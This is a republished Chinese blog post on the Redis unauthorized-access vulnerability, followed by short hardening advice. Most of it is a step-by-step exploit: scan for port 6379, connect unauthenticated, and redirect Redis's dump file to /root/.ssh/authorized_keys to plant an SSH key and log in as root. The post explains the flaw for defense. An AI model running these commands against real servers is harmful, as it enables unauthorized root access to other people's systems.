开发者社区> 余二五> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

redis 未授权访问漏洞和防范

简介:
+关注继续查看
  1. 通过nmap扫描开放redis 6379端口

  2. 本机安装redis客户端,能连接远端redis数据库;(redis-cli)

  3. 本机创建私钥和公钥,ssh-keygen -t rsa 一路回车;会在/root/.ssh/下生成私钥文件id_rsa和公钥id_rsa.pub

  4. redis-cli -h 192.168.3.14 链接远程redis数据库

  5. [root@hack bin]# ./redis-cli -h 192.168.3.14

    192.168.3.14:6379> keys *

    1) "xxxx"

    192.168.3.14:6379> config set dir /root/.ssh/

    192.168.3.14:6379> config set dbfilename authorized_keys

    192.168.3.14:6379> set xxxx "\n\n\n 拷贝公钥文件内容(id_rsa.pub)\n\n\n"

    192.168.3.14:6379> save

  6. ssh root@192.168.3.14——发现可以直接登录了;


防范建议:

                redis4.0默认的redis.conf文件把6379默认绑定在127.0.0.1;这里设置允许谁能访问我的redis,不要开放0.0.0.0所有访问;

                redis4.0 的redis.conf里的protected-mode设置成yes;

                对redis启用密码认证 requirepass foobared

                限制ssh登录

                设置redis rename config










本文转自 rm_rf_db 51CTO博客,原文链接:http://blog.51cto.com/12185273/1979133,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
Redis安装在Windows系统
Redis安装在Windows系统
45 0
八、Linux(CentOS7)安装Redis
常见问题: 1、redis不能远程连接时,可能是防火墙的问题: firewall-cmd --query-port=6379/tcp firewall-cmd --add-port=6379/tcp firewall-cmd --query-port=6379/tcp 显示yes为打开
47 0
Redis安装布隆(Bloom Filter)过滤器
Redis安装布隆(Bloom Filter)过滤器
171 0
Docker安装redis环形集群
ApacheIoTDB提供了三种部署方式:源码部署,二进制程序部署,Docker部署 因为我的电脑是Ubuntu的,不兼容ApacheIoTDB,所以我采用了docker方式进行部署(docker是用debian的java镜像)
48 0
redis安装及配置主从
redis安装,redis主从配置
1101 0
redis安装,redis项目以来,redis和spring整合,redis的service,redis的service实现类
redis安装,redis项目以来,redis和spring整合,redis的service,redis的service实现类 一.redis安装: Redis-3.2.6.tar.gz安装,参考方式: 用源码工程来编译安装 1、  到官网下载最新stable版,这里使用的是:redis-3.
1429 0
阿里云服务器(centos7.3)上安装jdk、tomcat、mysql、redis
前言: 平时我们敲的项目,只能在本地浏览,不论项目写得怎么样只有自己看得到,只有发布到了云服务器,别人才能访问得到。学习之路就是这样,当别人能访问自己的项目时,会更有成就感,所以接下来就一起看看阿里云服务器的购买以及各种环境的安装。
4899 0
+关注
文章
问答
文章排行榜
最热
最新
相关电子书
更多
Redis架构与介质选择指引
立即下载
阿里云Redis企业版Tair持久存储系列技术解读
立即下载
阿里云Redis企业版Tair持久存储系列产品详解
立即下载